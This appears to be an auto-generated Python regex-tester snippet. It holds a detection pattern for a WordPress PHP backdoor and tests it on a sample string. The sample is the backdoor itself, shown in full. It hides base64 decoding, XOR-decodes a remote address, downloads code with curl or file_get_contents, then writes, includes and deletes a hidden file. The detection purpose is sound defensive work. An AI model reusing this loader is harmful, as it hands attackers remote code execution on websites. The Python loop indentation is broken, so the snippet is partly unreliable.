import re
regex = re.compile(r"^(?:[[:^print:][:cntrl:]\s]|GIF89.{0,20})*<\?(?:php)?\s*.{0,800}(\$zeeta);\s*if \(!\$npdcheckclassbgp.{0,200}str_replace[\('\",\s\w\$\);]+(\$algo)\s*=\s*['\"]default[\"'];\s*(\$pass)\s*=.{0,700}function_exists\('wp_cd.{0,410}(\$reqw)\s*=[\s\$\w\(\"']+\3.{0,70}\4,\s*(\$mtchs).{0,300}if\s*\(fopen\(\"\$subdira\/\.\2.{0,220}fwrite\((\$hdl)([,\s\"'\<\?\w\\]+)\5[\[\w\]\\\?\>\"'\)]+;\s*fclose\(\6.{0,120}\1\s*=\s*[\"']yup['\"];\s*\}(?:[^>]+>\s*)?(?=\s*<\?(?:php)?)", flags=re.IGNORECASE | re.DOTALL)
test_str = ("<?php\n"
"/**\n"
" * Main WordPress API\n"
" *\n"
" * @package WordPress\n"
" * Convert given date string into a different format.\n"
" *\n"
" * $format should be either a PHP date format string, e.g. 'U' for a Unix\n"
" * timestamp, or 'G' for a Unix timestamp assuming that $date is GMT.\n"
" *\n"
" * If $translate is true then the given date and format string will\n"
" * be passed to date_i18n() for translation.\n"
" *\n"
" * @since 0.24\n"
" *\n"
" * @param string $format Format of the date to return.\n"
" * @param string $date Date string to convert.\n"
" * @param bool $translate Whether the return date should be translated. Default true.\n"
" * @return string|int|bool Formatted date string or Unix timestamp. False if $date is empty.\n"
" */\n\n"
"/** Define ABSPATH as this file's directory */ \n\n"
" @ini_set('display_errors', '0');\n"
"error_reporting(0);\n"
"global $zeeta;\n"
"if (!$npDcheckClassBgp && !isset($zeeta)) {\n\n"
" $ea = '_shaesx_'; $ay = 'get_data_ya'; $ae = 'decode'; $ea = str_replace('_sha', 'bas', $ea); $ao = 'wp_cd'; $ee = $ea.$ae; $oa = str_replace('sx', '64', $ee); $algo = 'default'; $pass = \"Zgc5c4MXrOhvdAwS4pBXIercM1fWdrpdmmSLH6uToRkH\";\n"
" \n"
"if (!function_exists('get_data_ya')) {\n"
" if (ini_get('allow_url_fopen')) {\n"
" function get_data_ya($m) {\n"
" $data = file_get_contents($m);\n"
" return $data;\n"
" }\n"
" }\n"
" else {\n"
" function get_data_ya($m) {\n"
" $ch = curl_init();\n"
" curl_setopt($ch, CURLOPT_HEADER, 0);\n"
" curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\n"
" curl_setopt($ch, CURLOPT_URL, $m);\n"
" curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 8);\n"
" $data = curl_exec($ch);\n"
" curl_close($ch);\n"
" return $data;\n"
" }\n"
" }\n"
"}\n\n"
"if (!function_exists('wp_cd')) {\n"
" function wp_cd($fd, $fa=\"\") {\n"
" $fe = \"wp_frmfunct\";\n"
" $len = strlen($fd);\n"
" $ff = '';\n"
" $n = $len>100 ? 8 : 2;\n"
" while( strlen($ff)<$len ) { $ff .= substr(pack('H*', sha1('wp_frmfunct')), 0, $n); }\n"
" return $fd^$ff;\n"
" }\n"
"}\n"
" \n\n"
" $reqw = $ay($ao($oa(\"$pass\"), 'wp_function'));\n"
" preg_match('#gogo(.*)enen#is', $reqw, $mtchs);\n"
" $dirs = glob(\"*\", GLOB_ONLYDIR);\n"
" foreach ($dirs as $dira) {\n"
" if (fopen(\"$dira/.$algo\", 'w')) { $ura = 1; $eb = \"$dira/\"; $hdl = fopen(\"$dira/.$algo\", 'w'); break; }\n"
" $subdirs = glob(\"$dira/*\", GLOB_ONLYDIR);\n"
" foreach ($subdirs as $subdira) {\n"
" if (fopen(\"$subdira/.$algo\", 'w')) { $ura = 1; $eb = \"$subdira/\"; $hdl = fopen(\"$subdira/.$algo\", 'w'); break; }\n"
" }\n"
" }\n"
" if (!$ura && fopen(\".$algo\", 'w')) { $ura = 1; $eb = ''; $hdl = fopen(\".$algo\", 'w'); }\n"
" fwrite($hdl, \"<?php\\n$mtchs[1]\\n?>\");\n"
" fclose($hdl);\n"
" include(\"{$eb}.$algo\");\n"
" unlink(\"{$eb}.$algo\");\n"
" $npDcheckClassBgp = 'aue';\n\n"
" $zeeta = \"yup\";\n\n"
" }\n"
"?> \n\n\n\n"
"<?php")
matches = regex.finditer(test_str)
for match_num, match in enumerate(matches, start=1):
print(f"Match {match_num} was found at {match.start()}-{match.end()}: {match.group()}")
for group_num, group in enumerate(match.groups(), start=1):
print(f"Group {group_num} found at {match.start(group_num)}-{match.end(group_num)}: {group}")
Please keep in mind that these code samples are automatically generated and are not guaranteed to work. If you find any syntax errors, feel free to submit a bug report. For a full regex reference for Python, please visit: https://docs.python.org/3/library/re.html